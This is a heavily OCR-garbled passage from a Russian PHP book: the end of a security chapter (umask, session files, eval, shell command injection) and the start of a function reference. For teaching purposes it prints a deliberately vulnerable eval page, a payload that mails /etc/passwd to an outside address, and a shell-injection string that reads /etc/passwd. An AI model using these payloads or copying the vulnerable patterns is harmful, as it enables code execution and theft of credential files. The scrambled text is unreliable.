Ucnonbayite umask()

ILnoxo cHayana coznaBath ¢ait, a 3aTeM yCTaHABJIMBATH MPaBa A0CTYIA K HEMY.
ITO co3/1a€T BO3MOXXHOCTH “Be3yyeMy” MOJIb30BATENIO MOJTYYUTDb AOCTYI K aii-
JIy 110 TOrO, KaK 6y1yT U3MeHeHbI NpaBa JOCTYIa, U A0CTYM K ¢aiiy emy Oyzaer
3abnokupoBaH. Bmecto atoro ucrnonb3yiite GyHKUMIO umask(), U3HAYATIBHO OT-
ceKalolylo HeHy>Hble paBa. Hanpumep:
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umask(077); // OTKNIONAEM ---TWXIWX
$fh = fopen(” /tmp/myfile”, ‘w');

[To ymomuanuio dyHkuus fopen() mbiTaercs co3aath daia ¢ npaBamu 0666
(rw-rwrw-). BbI3BaB cHayajia umosk(), Bbl OTKJIIOYMTE OWUTBHI IIpaB TPYIIIIbI
U Jpyrux InoJib3oBareyedt, octaBuB Toabko 0600 (rw-----). Temepp, koraa
Bbl BbI30BUTE fopen(), OyaeT co3gaH ¢aiti ¢ ycTaHOBJIEHHBIMM BaMM NpdBaMU

(0600).
Boobuie He ucnonb3yiire dains

ITockosbky Bce ClieHapuMd Ha KOMIIbIOTEpE BBINOJHSIOTCS OT UMEHU OJHOIO
¥ TOTO Xe M0JIb30BaTesl, hai1, KOTOPBIX ObLI CO3aH OMHUM CLIEHAPUEM, MOJKET
OBbITb IPOYMTAH IPYTUM ClieHApHUEM, HE3aBUCHMMO OT TOTO, KTO HaIlMCal 3TOT Clie-
Hapuii. Bce, 4To HY>XHO 3HATh ClIEHApHIO - 3TO UM daiia.

OT 2TOro HeJb3s 3aIUTUTHCH, IO3TOMY JIyyllle BCETO He UCIOJIb30BaTh (haiibl
JJI XpaHeHWs JaHHBIX, KOTOpPble JOJIKHBI ObITh 3allUlIeHbl, 6oee 6e301macHo
XPaHUTD JaHHble B 6a3e JaHHbIX.

Bosiee c105KHOE pellleHre 3aKJII0YaeTcsi B 3allycKe OTAeIbHOro aeMoHa Apache
TS KQXK/I0To noJsib3oBaTelist. Ecaiu Bbl 1o6aBrTe OOpATHBIN POKCH, HAIIPHUMED,
haproxy, nepen mysiom ak3eMILIsipoB Apache, Bbl cMoxete o6¢cmysxuth 6071ee 100
nosib30BaTes el Ha oqHOM MatrHe, OHAKO TAKOe pellleHre JOBOJbHO PENKO UC-
T10JIb3Y€ETCs U3-32 €r0 CJIOKHOCTU M CTOMMOCTH 110 CPAaBHEHUIO C OOBIYHOM CUTY-
anueit, rae oauH a1eMon Apache MoXeT 06CTyKUTh THICSYH TT0JIb30BATEEM.

®aiinsl ceccum

[Ipu ucnonb3zoBanuu BcTpoenHoit B PHP moanmepxkke ceccuit, undopmanus
0 ceccun coxpaHsercs B aimax. Kaxabiii aiin HasbiBaeTcst /tmp/sess_id,
rae id - UMsi ceccuu, OObIYHO BJiajesell 3TUX GaiJIoB MOJb30BATENDb nobody
(mosib30BaTeb, 10 KOTOPbIM paboTaeT BeG-cepBep).

[Tockosbky Bce PHP-clieHapuu, Kak Mbl YK€ TOBOPUJIH, BBIIIOJHSIIOTCS OT UMe-
HU OJHOTO U TOTO e MOJIb30BaTeJIsl, 3TO 03HaYaeT, 4To Joboin PHP-cuenapui,
pa3MellleHHbI Ha cepBepe, MOKET TPOYUTATh J1I0ObIe (hailsibl cecCHid A1t APYTUX
CalTOB Ha 3TOM cepBepe. B curyanusx, koraa Baut PHP-koa xpanutcs Ha cepBe-
pe XOCTUHT-TIPOBaiiiepa, KOTOPBI COBMECTHO ucnonbdyeTcss PHP-cuienapusiMu
ellle ApPYrUX I0Jb30BaTeNe, TepeMeHHble, KOTOpPbIE Bbl XpaHUTE B CBOUX CEaH-
cax, BUAMMbI apyruM cueHapusim PHP. UTo ele xyxe, qpyrue mnojib3oBaTeau
cepBepa MOTYT co31aTh (aityibl B KaTajiore ceccuu /tmp. B pe3ysibraTe mosb3o-
BaTeJIb MOXET CO3/aTh MOAAEIbHBIN (haiis ceccuu, B KOTOPOM OyayT Jtobble me-
peMeHHble U 3HAUYEHUsI, KOTOPbIE OH 3aX0UeT BU/IeTh B HeM. M HUUTO eMy B 3TOM
He romMeniaeT. Tak, MoIb30BaTeb Yepe3 CBOi Gpay3ep MOKET OTIIPaBUTh Ballle-
My clieHapuIo cookie ¢ MeHeM (habIIMBOM CeCCUM U Balll clieHapuii 6aromno-
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JIYYHO 3arpy3uT nnepeMeHHbI€, COXpaHEHHbIE B TIOAAE€JIbHOM d)aﬁ]le CeCCHUH, KOTO-
pblﬁ J10 3TOro ObLI ITOMeELIEH B KaTaJiore CeECCUH.

Bbl MoXeTe MonpocuTh Balllero nNpoBaiiiepa HaCTPOMTh CEPBEP TaK, YTOOBI BAILH
(aitnbl ceccuu XpaHUIMCH B BalieM cobcTBeHHOM KaTasore. OObIYHO /151 3TOTO
B 6si0Ke VirtualHost B koHdurypauuonnom daiine Apache (httpd.ini) cosma-
€TCs1 CTPOKa:

php_value session.save_path /some/path

Ecau y Bac ectb camux noctyn K dainy .Ataccess, v Baii Apache nossossier ne-
peornpenessiTb HaCTPOUKH, Bbl MOXKETE BHECTH HEOOXOIUMbIE U3MEHEHHS CaMO-
CTOSITEJIBHO.

Mpayem 6ubnnorexn PHP

JoctaTouHo MHOro uHdopMaiuu o ciabbix MeCTax Balllero cepBepa MOXHO I0-
YeprHyTh, 3arpy3us include-daiinbl nam kakue-1u60 aanubie (daibl), KOTO-
pbie xpaHsTtcs psaom ¢ HTML u PHP-¢daiinamu B kopHeBOM KaTasiore Q0Ky-
MeHTOB BeO-cepBepa. UToObI NMPeJOTBPATUTh 3TO, BaM HYXXHO XPaHUTb OUOIU-
OTEKM KOJIa U JaHHbIe 32 Mpe/ielaMi KOPHEBOTO KaTajiora JOKYMEHTOB CEpBEpA.

Hanpumep, ‘eciu KopHEBbIM KaTaJloroM siBasietcst /home/httpd/html, Bce, uto
HaxXOJUTCS B 3TOM Kartajiore, MoxeT ObITh 3arpysxeHo yepe3 URL. [Ipocro mo-
MeCTHUTe KO Balel 6ubanoTexku, KoHGUrypauoHHbie Ghaitibl, )XypHAJbI U ApY-
rye JaHHble 32 MpeaejaMu yKazaHHOTro Katajiora (Hanpumep, B /usr/local/lib/
myapp). KoHeuHo, 3To He rapaHTUPYET, YTO KTO-TMO0 U3 APYTUX MOJb30BaTE el
cepBepa He MOJYYUT HE3aKOHHBIN J0CTYM K 3TUM ¢aiyam (cM. “He ucnonnayii-
Te (aitnbl”), HO 3TO MO KpaliHel Mepe MPeIOTBPATHT TO, UTO JaHHbIE (aibl MO-
TyT ObITh 3arpy>KeHbl yaJEHHBIMU M10JIb30BATEISIMH.

Ecnu Bbl no KakuM-nub0 MpUYMHAM BCe-TaKW IOJKHBI XPaHUTh HEKOTOPbIE
BCIioMorareJsibHble (aiibl B CBOEM KOPHEBOM KaTaJore JOKYMEHTOB, TO B TaKOM
cJly4yae Bbl JOJDKHBI HACTPOUTh BeO-cepBep Tak, YTOObI OH OTKJIOHSIJ 3aMpPOCHI
K 3TuM daitnaMm. Hanpumep, creayromumii npuMep yka3biBaeT Apache oTKIOHSTD
3amnpocel AocTyna K JoboMy daitny ¢ paciiMpeHreM .inc, KOTOPOe Yallle BCero
ucnosb3yercs ais include-daitnos 8 PHP:
<Files ~ "\.inc$">
Order allow,deny

Deny from all
</Files>

Ho camblit syuiuii cnocob npegoTBpaTUTh 3arpy3ky (aijioB ¢ HCXOAHBIM KO-
nom PHP - 370 Bceraa ucnosib30Bath paciiuperue php.

Ecau BbI, KaKk Mbl PEKOMEHIOBATH Bblllle, XpaHUTe OUOJMOTEKH KOJa B APY-
roM KaTajiore, BaM Hy»xHO yka3aTb PHP, rae ux ciaenyer uckarb. Ykaxure myTh
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K HUM B Kaxa0H (YHKUHUM include() MU require(), MM e WU3MEHHUTE Mapa-
MeTp include_path B php.ini:

include_path = “.:/usr/local /php:/ust/local /lib/myapp”;

12.7. 3anyck nonb3oearenem PHP-koaa

C mnomouiptio ¢GyHKUUU eval() PHP mo3Bosisier BBIMOMHATH MPOU3BOJIbHBIN
PHP-koa. XoTst 3T0 MOXeT ObITh MOJIE3HO B HECKOJIBKUX CIy4asix — MO3BOJIUTD
MOJIb30BATE/II0 BBINOJIHATh JIOOOH KO C MOMOIIBIO eval(), -=- TEM CaMbIM BbI
MOJIBEPraeTe CBOIO CHUCTEMY CYlLIeCTBEHHOMY pucKy. Hampumep, ciexyromuii
KO/ - HACTOS M1 KOIIMap JIIoO0To, KTO IyMaeT 0 6e30MacHOCTH, U HaXOIHKa J1JIst
TeX, KTO XOYeT CJeJIaTh C BalllUM CaiiTOM BCE, UTO 3aX0YET:

<html>
<head>
<title>3pecs knioum ot keapTups...</title>

</head>

<body>
<2php if ($_REQUEST['code']) {
echo “BuinonHsem kop...”;
eval(stripslashes($_REQUEST['code’])); // Mnoxol
} >

<form action="<2php echo $_SERVER['PHP_SELF']; 2>">
<input type="text" name="code” />
<input type="submit” name="Bsinonuuts kon” />
</form>

</body>
</html>
JTa cTpaHMIAa NPUHMMaeT U3 (GOPMbI HEKOTOPBIH Mpou3BosbHBIH PHP-kon
U BBITIOJIHSIET €r0 KaK 4aCTh CleHapHsl. 3amyIleHHbIH KOl MIMEET JOCTYT KO BCEM
r7106aJIbHBIM TI€PEMEHHBIM ClIEHApHs U PAbOTaeT C TAKUMH K€ TTOJHOMOYHSIMH,
KaK Y ClieHapHuH, BBIMONHSIOIUIA Ko/. He TpyHO noragaThcesi, moueMy 3To mpo-
6aema. Hanpumep, B hopMy MOXHO BBECTH:

include(”/etc/passwd”|;

Huxoraa He nenaiite atoro! Her Hukakoro cniocoba ybeauTscs, 4To 3amyckae-
MBI M0JIb30BaTeNIEM CleHapuii Ge3omaceH. Bol MoxeTe r106a/bHO OTKIIOUUTD
HeKOTopble QYHKIINH, IEPEYUCIUB UX Yepe3 3aIsTyI0 B TapaMeTpe KOH(PUrypa-
UMM disable_functions B php.ini. Hanpumep, 0OBIYHO HeT HeoOXOIUMOCTHU
B QYHKIIMH system(), TO3TOMY OTKJIIOUUTh €€ MOXHO TaK:

disable_functions = system



Fnasa 12. Be3onacHOCTb|

ITO He cienaer eval() 6e3onmacHee, HO XOTh KaK-TO OTPAaHMYHUT MOTEHLHATBHO
BO3MO>KHBIE TPOOJIEMBI: HET HUKAKOTO APYroro crnocoba npensTcTBoBaTh U3Me-
HEHUIO BAXXKHBIX NMEPEMEHHBIX UJIM MCIOJIb30BAHUS BCTPOEHHBIX KOHCTPYKIIMH,
TaKUX KaK echo.

3ametbre, 4TO (GYHKLUUS preg_replace() ¢ omiueil /e To)e BBI3bIBAET eval()
1uist BbinostHeHUst PHP-kona, moaToMy He UCMOJIb3yHTE BaKHBIE JAHHBIE B CTPO-
Ke 3aMEeHBI.

B cayyae c include, require, include_once U require_once, JIyullle Bce-
rO - BBIKJIIOUUTD yIaJIeHHbIH 0Ty K aiinaM, ucnosb3ys allow_url_fopen.

Jlto6oe wucnosnb3oBanre GYHKUUH eval) U onuuu /e GYHKUMM preg_
replace() O4€Hb OMACHO, 0COOEHHO, €CJIM B 3TUX BBI30BaX BbI UCIIOJIb3yETE BBE-
JIEHHbIE 0JIb30BaTeJIEM aHHble. PAacCMOTpPUM ciiefyIomui Koz;

eval(”2 + {$userinput}”);

OH TOJIbKO Ha MEPBbIN B3I KaXKETCs JOBOJIbHO 6e3BpequbiM. OqHaKo, npes-
MIOJIOKUTE, YTO T0JIb30BATENb BBOAUT CJIEyIOlIEee 3HAUEHUE:

2; mail("I33t@somewhere.com”, “Some passwords”, “/bin/cat /etc/passwd”);

B atoMm cayyae Gyner BbIOJHEHA M Ta ONepalusi, KOTOPYIO Bbl 0XKU/IA€eTe, U Ta,
KOTOPOH Obl caegoBano uzbexartb. CaMoe NMpaBUJIbHOE PELIEHHE - HUKOrAa He
rnepeaaBaTh BBEIEHHbBIE I0JIb30BaTEJIEM IaHHBIE B eval().

12.8. Komanan 060n104KkH

Bynsre oyeHp OCTOPOXHBI NPU HCHOJb30BAHUU (PYHKLHUI exec(), system(),
passthru() U popen(), a Takxke omepatopa ' B BaueM Koge. O6Gosoyka - 3TO
npobJieMa, II0TOMY YTO OHA MO-CBOEMY PACMO3HAET CIIELHATbHbIE CUMBOJIBI (Ha-
MIPUMED, TOUKY C 3aIsITOU 151 pa3aesienus koMana). HampumMep, mpeanosoxum,
Balll CKDUIIT COIEPAKUT 3TY CTPOKY:

system(“ls {$directory}”);

Ecnu nosb3oBaTesnb mnepenact 3HaueHUe “/tmp;cat /etc/passwd” B Kaye-
cTBe nmapaMerpa $directory, TO OH MOJYYUT Ball (ailyi ¢ MapoJSIMH, MOCKOJbKY
system() BBIIIOJIHUT CJIEAYIOILYIO KOMaH/Iy:

s /tmp;cat /etc/passwd

B cinyuae, eciu Bce-Taku Hy KHO IepeiaTh BBEIEHHbIE MT0JIb30BATENEM apryMeH-
Tl shell-komanzme, ucnosnb3yiTe KomaHay escapeshellarg() a1si 9KpaHUpOBa-
HUSI BCEX I0CJIEI0BATENbHOCTEN CMBOJIOB, KOTOPBIE UMEIOT CIELHAIbHOE Ha-
3HauyeHue B 000JI0UKe:
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$cleanedArg = escapeshellarg( $directory);
system(“ls {$cleanedArg}”);

Tenepb, ecau MNoJb30BaTeIb MOMNbITAETCS MepeaaTb CTPOKY “/tmp;cat /etc/
passwd “, Ha caMoM JieJie OyieT BbIMOJHEHA KOMaH/a:

Is '/tmp;cat /etc/passwd'

Cambiii npocToii crnocob6 u36exarb KMCHOJb30BaHUsI O0OJIOUKH 3aKJIIOYAETCs
B TOM, YTOObI peajnn3oBath paboTy 060N HEOOXOAMMON MPOrpaMMbl TOJBKO
cpeacrBamu PHP, 6e3 npuBiieuenus k o6os0uke. Vcnosib3oBaHue TOJbKO BCTPO-
exnbix B PHP yHkumu siBasieTcs cyiecTBeHHO 60iee 6e30macHbIM, yeM Jiroboe
pellieHHe, opa3yMeBaloliee 3aedCTBOBaH1Ee 000JO0UKH.

12.9. Pesiome

HOCKOJIbe 6€e30NacHOCTb - 3TO OYEHb BakKHasl TeMa, AaBaiTe INOBTOPHUM OCHOB-
Hbl€ MOMEHTbI 3TOMH IJIaBbl U pPacCMOTPUM HEKOTOPbIE NOIOJIHUTE/IbHbIE TPIOKHU!

o  DuibTpyiiTe BBOJ NM0JIb30BaTEIs1, YTOOBI YOEANUTHCS, UTO BCE JAHHbIE, T10-
JiydyeHHbIe BAMH M3 yJaJeHHbIX ICTOUHHUKOB - 3TO UMEHHO Te JaHHbIe, KO-
Topble Bbl 0XkuaaeTe. YeM cTpoxke joruka (uasrpaiuu, Tem besonactee
Ballle MPUJIOXKEHHE.

e JKpaHUpYTe BbIBOI, YTOObI YOEAUThCs, UTO BAllM JaHHbIE HE MCIIOpYe-
Hbl/TIOIMEHEHBI YIaJIeHHO! CUCTEMOIA.

e Bcerga nHMIMaIU3UPYHTE BalllK epeMeHHbIe. ITO 0COHEHHO BaXKHO, KOT-
[la IMPEKTHUBA register_globals BKJIIOUEHA.

e OrTkiaoyuTe JUPEKTUBBI register_globals, magic_quotes_gpc
u allow_url_fopen. CM. www.php.net nist nosydyeHus: mogpoOHON WH-
dbopmannu 06 3ITUX AUPEKTHBAX.

o IIpu co3manuu uMenu daila, npoBepsiiTe ero KOMIOHEHTbI HYHKIUSAMU
basename() U realpath().

e XpaHuTe nojakjoyaeMblie (ailibl 3a npeaesaMyd KOPHEBOTO KaTajora J0-
KyMeHTOB. [[sis1 Takux ¢aiyioB Jiydllle UCIOJIb30BaTh pacllliPEHHE php,
a He .net.

e Bcerna BbI3bIBaliTE session_regenerate_id() MpH HU3MEHEHWUU  IOJb-
30BaTeJbCKHUX MTOJTHOMOYHIA.

e [lmoxo cHauana co3maBath aiis, a MOTOM U3MEHSTH €ro IpaBa AOCTY-
na. BmecTto aToro ucnosbayiite umask(), 4Tobbl (haitn coszmaBajics cpasy
C MPaBUJIbHBIMH MTPaBaMH JOCTYTIA.



NMpunoxexue.
CnpaBo4HMK N0 GYHKLUUAM

ITO NPUJIOKEHHeE ONUChIBaeT PyHKIMH, TOCTYNHbIe BO BcTpoeHHbIX B PHP pac-
IIMPEHUAX. DTH PACIIMPEHUs] BCTPAMBAIOTCs OMUMSAMM --with u --enable npu
c6opke PHP u He MOryT 6bITh OTKIII0YEHBI Yepe3 (a1 KoHDHUTYpaLHH.

s xaxmoit pyHKUMH B 3TOM CIIpaBOYHHKe Gy/IeT yKa3aHO: ee MMsl, IPHHUMae-
Mbl€ TapaMeTpPhl C TUIIAMH JIaHHbIX, OyeT CKa3aHO, KaKOoii N3 mapaMeTpoB 00si3a-
TeJIbHBIM, 2 KAKOH - HET, TakXke Oy1yT MpUBeIeHbI KPAaTKOe onucanue GyHKUNH,
no6oytble 3¢pheKTsl, OIUOKH U BO3BpalllaeMble PYHKLHEHR CTPYKTYPbI JaHHbIX.




Cnucok ¢pyHkuuit PHP B andaBsuTtHOM nopsiake

B -

(==}

int abs(int number)
float abs(float number)

BosBpaiaer abcosoTHOE 3HaueHHe mapameTpa number Takoro e thna (float
WJIM integer), 4YTO U NapaMeTp.

acos

float acos(float value)
BosBpaliaer apKkKOCHHYC 3Ha4€HHUs value B pafldaHax.

acosh

float acosh(float value)
BosBpaiaer runep60JM4ecKuil apKKOCHHYC 3Ha4€HHUs value B pafiiaHax.

addcslashes

string addcslashes(string string, string characters)

BosBpaliiaer CTpPOKy sting, 3KPaHMPOBaHHYI0O OOpAaTHBIMHM CJ€IIaMH Mepes
CHMBOJIaMH, YKa3aHHbIMH B MapaMeTpe characters. Bl MoXeTe ykasaTb aua-
Na30Hbl CAMBOJIOB, Pa3/IeJIMB UX ABYMsl TOUKaMH, HalpuMep, YTOObI IKPAaHHUPO-
BaTb CHUMBOJIbl OT a [0 q, MCNOJb3YiTe “a.q”. B characters MOXHO yKa3aTb
HECKOJIbKO CHMBOJIOB M auana3oHoB. DyHKIMA addcslashes() - oépamax IJIst
(YHKLHH stripcslashes(). ‘

addslashes

string addslashes(string string)

Bo3Bpaiiaer cTpoky, B KOTOpPOii nepe/ KaXXAbIM CIIEIICUMBOJIOM 100aBJjieH 00-
PaTHBIN cjenl, HAIpUMep, ISl NOCJIEeAYIOIETO UCIIOJIb30BAHUS 3TOH CTPOKU B
3anpoce K SQL 6a3e gaHHBIX U T.I. IKPAHUPYIOTCS OAMHOYHAs KaBbluka ('),
aBoMHast KaBbluka (“), obpatHbiit ciem (\) 1 NUL (6aiit NULL). DyHKUMS
stripslashes() 0OOpaTHast 3TOM (PYHKIHH.

array_change_key_case
array array_change_key_case(array array[, CASE_UPPER | CASE_LOWER])

BosBpaliaer MaccHB array, BCE KJIIOUH KOTOPOrO Npeo6pa3oBaHbl B HUXKHHIA
WJIM BEPXHUIA perucTp. YUCI0BbIe KJII0YH OCTaHYTCsI HeTPOHYThIMU. Ecitn 3aman
HeoOsi3aTe IbHBII napaMeTp CASE_LOWER, K104l 6yayT npeo6pa3oBaHbl B HUXK-
HUU perucTp.
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array_chunk : * N
array array_chunk(array array, int size[, int preserve_keys]) ,
Paz6buBaer Maccus array Ha C€pHI0 MaCCHBOB, KaXXIbI U3 KOTOPbIX COAEPXKUT =
size JJIEMEHTOB. HOCJICI[HHﬁ MaCCHB MOXET COJAEPXATb MEHbLIE 3JIEMEHTOB. S o
Ecnu mapamerp preserve_keys paBeH tue (IO yMOJYaHWIO - false), KO- .. ...
UM OPUTMHAIBHOTO MaccuBa OyayT coxpaHeHbl. B mporuBHOM ciyyae (eciu ! o
preserve_keys paBeH false) 3HaueHHss OyAyT YHOPAJOYEHbI C YHCJIOBBIMM +-----
WHIeKcaMH, HaurHas ¢ 0. ]
array_combine r”
array array_combine(array keys, array values) i
TR
BosBpamiaer MaccuB array, CO3JaHHBIH, MCIIOAb3ysl 3HAYeHHs MaccuBa keys ...
B KauecTBe KJIIoueil M 3HaYeHUs MacCHBa values B KauyecTBe COOTBETCTBYIOIIHUX E 4]
3HaueHuit. Eciiv Kakoii-To 13 MaCCUBOB He CO/IEPXKUT 3JIEMEHTOB MJIM YHCJIO 3JIe- +-----
MEHTOB B MaCCHBaAX OTJIMYAETCA (I/UIH JKe 3JIEMEHT CylIeCTBYEeT B OJHOM MaCCHBe, . =
HO OTCYTCTBYET B JIDYroM ), Bo3Bpalaercs false. =
array_count_values ot
e

array array_count_values(array array)

Bosspamaer MaCCHB, KJIIOYaMH KOTOPOro ABJAKTCSA 3HAYE€HUA MACCHUBaA array, E -
d 3HAYCHUAMH - HaCTOTa MOBTOPEHUA 3HaYEeHUH array. E

array_diff —
array array_diff(array array1, array array?2], ... array arrayN])

Bosspauiaer MaccuB, cofiepxaniuii Bce 3Ha4€HUs U3 IEPBOTO MaCCHBa, KOTOPHIE | &
OTCYTCTBYIOT B Jit0OOOM JPyroM IpeocTaBJeHHOM MaccuBe. Kirouu 3HayeHuit

Bosspauaer Maccus, cofepkaliuii Bce 3HaueHUs] B MACCHBE array |, KOTOPBIE OT-
CYTCTBYIOT B JPYTMX TIpeIOCTaBJe€HHbIX MaccuBax. Otinuue OT array_diff) : e
B TOM, UTO KJIIOUM TOXeE YYaCTBYIOT B CpaBHeHUH. Kitoun 3HaueHH# COXPaHAIOTCS.

COXPaHAKTCA. o

array_diff_assoc .
array array_diff_assoc(array array1, array array2|, ... array arrayN]) : o

-3

array_diff_key

array array_diff_key/(array array1, array array2|, ... array arrayN]) : =

BosBppailiaer MaccuB, KOTODBIi CONEPXHUT BCe 3HAUEHUsS U3 NMEPBOrO MacCHBA, : =
KJIIOYM KOTODPbIX OTCYTCTBYIOT B Ji060OM APYTOM HpEeIOCTaBJEHHOM MAaCCHBE. :--.--
Knioun sHauenuit coxpaHsioTcs. N



array_diff_uassoc

array array_diff_uassoc(array array1, array array?2
[, ... array arrayN], callable function)

Bosspaiaer maccuB, conepkalinii Bce 3HaueHUsT MacCUBa array 1, OTCYTCTBYIO-
e B J1000M APYroM IMpeaocTaBIeHHOM MaccuBa. B oTinuue oT array_diff(),
KJIIOYM TaKXKe y4acTBYIOT B cpaBHeHUU. DyHKIMS function UCTIONb3YeTCS 151
CpaBHEHUS 3HAYeHUI Ha HIKBUBaseHTHOCTb. DYHKIIMS BbI3bIBAETCS C ABYMSI Ma-
paMeTpaMH - 3HaUeHUsI, KOTOpbie HYKHO cpaBHUTb. DyHKIIMS 1OKHA BEPHYTh
1eJioe uncyio MeHblie 0, ecyiv epBbIil apryMeHT MeHblile BToporo, 0 ecsiu apry-
MEHTbI PaBHbI U 3HaueHue Gosblie 0, eI nepBbiii apryMeHT 6oJIblile BTOPOTO.
Kuttoun 3HaYeHUi COXpaHsIIOTCS.

array_diff_ukey
array array_diff_ukey(array array1, array array?2

[, ... array arrayN], callable function)

BosBpaulaer MaccuB, cosepskalliye Bce 3Ha4eHUs B array 1, KJIIOYM KOTOPBIX OT-
CYTCTBYIOT B JitoOOM ApPYyroM mnpenoctaBjieHHOM MmaccuBe. DyHKIMs function
MCTIOJIb3YEeTCSI [JIs1 CPAaBHEHUS 3JIEMEHTOB Ha 3KBMBaJeHTHOCTh. (DYHKIIMS BbI-
3bIBAETCS C IByMsI TAPAMETPAMH - 3HAUEHUsI, KOTOPbIe HYKHO cpaBHUTb. DyHK-
{1 IOJKHA BEPHYTH 1ieJioe YUcsIo MeHblie 0, ecyid mepBblil apryMeHT MeHbIle
BTOpOro, 0 ecyiu apryMeHThl paBHbI U 3HaueHue GoJbite 0, eciu mepBbiit apry-
MeHT 6osiblie BToporo. Kiroun 3HaueHni coxpaHsIioTCsl.

array fill
array array_fill(int start, int count, mixed value)

BosBpaillaer MacCuB C count 3JIeMEHTaMH, PABHbIMH value (3aMOJIHSET MAcCHB
OJIMHAKOBBIMU 3jleMeHTaMu ). VICcroib3yI0TCsl YMCIOBbIE WHAEKCHI, HAYMHAS CO
start, [JIST KQX0TO CJEAYIOIIETro 3JeMeHTa UHAeKC yBeanunBaercss Ha 1. Ecau
count = 0 MJTM MeHblLIe, BbI MOJTYYUTE OLIUOKY.

array_fill_keys
array array_fill_keys(array keys, mixed value)

Co3naeT ¥ 3aMoJIHsSIeT MacCUB 3HaUYeHUEM napaMeTpa value, HCIOJIb3ysl 3Ha4de-
HHUs MaCCHUBa keys B KauecTBe KJIIOUei.

array filter

array array_filter(array array, mixed callback)

Cosznaet MaccuB, conepKallvii Bce 3HaUEHUsT U3 UCXOJTHOTO MacCUBA array, JJIsl
KOTOpPbIX 3afaHHasi GYHKIMS callback Bo3Bpauiaer true. Ecsi BxomHoil Mac-
CUB SIBJISIETCS] aCCOLIMATUBHBIM, KJII0UHM coxpaHsiorcs. Hanpumep:
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functian isBig($inValue) :
{ i
return($inValue > 10);

}
$array = array(7, 8,9, 10, 11,12, 13, 14);

$newArray = array_filter($array, “isBig”); //conepxut (11, 12, 13, 14)

v ed
:

array flip LR
array array_flip(array array) ' e
B03BpamaeT array HaO60pOT, TO €CTb KJIIOYHM MaCCHBa array CTAHOBATCA 3HaA- | g

YEHHUAMH, a 3HAYEHHUA MAaCCHBA CTAHOBATCA KJIIOYaMH. Ecmu 6y11eT HalJeHo He-
CKOJIbBKO OJMHAaKOBbIX 3Ha‘IEHI/II'/)I, B pPE3YJbTUPYIOLIEM MACCUBE OCTAHETCA IIO- ; =
cJieiHee BCTPEYEHHOE 3HaYE€HHE. 3HayeHUsT B UCXOHOM MacCHBe JOJDKHBI OBbITD

aubo cTpokoit, b0 ueabiM yuciaoM. Ecau ato He Tak, array_flip() crenepu- | <
pyeT TIpeaynpexaeHue U JaHHas napa KJo4/3HaueHue He OyeT BKIloUeHa B pe- &
b 4
3ysbraT. B ciydae omnOku array_flip() Bo3Bpariaet NULL. i
array_intersect P =
array array_intersect(array array 1, array array?2|, ... array arrayN]) ; :-x; N
BosBpaiiaer Maccus, comepxalluil KaXKablil 3J1leMEHT MaccuBa arrayl, KOTOPbIN """
TaK)Ke eCTb B JIPYTUX YKa3aHHBIX MacCHBaX. P
array_intersect_assoc -
array array_intersect_assac(array array 1, array array?2|, ... array arrayN]) : =

BosBpaiaer Maccus, cogepxauivii Bce 3HaueHUs1, MPUCYTCTBYIOLIME BO BCeX 3a- :-----
JaHHBIX MaccuBaX. B oTinuMe OT array_intersect(), B CpPaBHEHUHM Yy4YacCTBY- =
0T U KJIIOYH, ¥ 3HaueHus. Kimoun 3uauenuit coxpausiiorest. 07

array_intersect_key
array array_intersect_key(array array1, array array2|, ... array arrayN])

BOSBan.[ae’I‘ MacCCHUB, COCTOSIIIMI U3 KaXKA0ro 3JieMeHTa array 1, KJII0Y KOTOPOTO o
CyHmIECTBYET B Ka>XIOM [IPYTOM MaCCHUBE.

array_intersect_uassoc :
array array_intersect_uassac(array array 1, array array?2 it
[, ... array arrayN], callable functian)
LD

BosBpaluaer maccus, coaepxailuii Bce 3Ha4eHUs, TPUCYTCTBYIOLIME BO BCEX 3a-
naHHbIX MaccuBax. DYHKUUSA function UCNOJIB3YyeTCs s CPaBHEHUS KJOded ' =
3JIEMEHTOB Ha 9KBUBaJleHTHOCTb. (DYHKIIMS BBI3bIBAETCS C IBYMs lapameTpa- :-----
MU - 3HAYE€HUSIMH, KOTOPbIe HY)XKHO cpaBHUTb. (DyHKIIMs BO3BpalllaeT 3HauyeHue ~



______

MeHblile (), ecyid epBbIil apryMeHT MeHblile BTOpOro, 0, eCiu apryMeHTHI PaBHBI
1 3Hayenue Gosblie 0, eciv mepBbIit apryMeHT Gosibliie BToporo. Kuroun 3Have-
HUH COXPaHSIOTCS.

array _intersect_ukey

array array_intersect_ukey(array array1, array array?2
[, ... array arrayN], callable function)

BosBpaiiaet mMaccuB, coaepxauiuil Kax/Iblii 3JIeMEHT arrayl, KJIOY KOTOPOTO
CYUIECTBYET B KaX/IOM IDYTOM MacCHBe.

ODOyHKMS function UCTIONB3yeTCsT ST paBHEHUS 3jeMeHTOB. (DyHKIMS BO3-
BpallaeT 3HaueHHe MeHblile 0, ecu nepBbIil apryMeHT MeHblile BToporo, 0, ecau
apryMeHTbI PaBHbI U 3HaueHHe GoJibiie 0, eciiu mepBbiid apryMeHT GoJiblile BTO-
poro. Kitoun 3HaueHuit COXpaHsIOTCS.

array_key_exists

bool array_key_exists(mixed key, array array)

BosBpaiaer trve, ecid MacCUB array COAEPXKUT KJwOU key. Ecau Her Takux
KJII04eil, Bo3Bpallaer false.

array_keys

array array_keys(array array[, mixed value|, bool strict]])

BosBparniaer MaccuB, cojiepKaliuii Bce KJIOUU B 3aJaHHOM MaccuBe. Eciiu BTO-
POl mapaMeTp yKa3aH, BO3BPAlIAIOTCS TOJIBKO KJIIOYM CO 3HAYEHUEM valve.
Ecnn mapamerp strict paBeH true, IIPH NPOBepKe OyAeT MCIOJb30BAaThCS OIle-
parTop ===, a He ==.

array_map
array array_map(mixed callback, array array1], ... array arrayN])

Co3aeT MaccUB MyTeM NpuUMeHeHUs] QYHKIUM callback, 3a1aHHOIl B TIEPBOM
rapaMeTpe, K OCTaBIIMMCST napameTpaM (maccuBaM). DYHKIMS MPUMEHSIETCS
K KaX[IOMy 3Ha4€HHUIO B KaXX/OM Maccuse. Uncio napaMeTpoB, NepeaBaeMbIxX
B (OYHKIIMIO, IOJIXHO COBMAATh C YUCJIOM MaccuBOB. Hanpumep:

function multiply($inOne, $inTwo) {
return $inOne * $inTwo;

}

$first=(1, 2, 3, 4);
$second = (10, 9, 8, 7);
$array = array_map|(“multiply”, $first, $second); // conepxut (10, 18, 24, 28)



array_merge
array array_merge(array array1, array array2|, ... array arrayN])

BosBpaliaer MaccuB, CO3/1aHHbIIi MyTeM MPUCOEAMHEHHS 2JIEMEHTOB KaX0r0
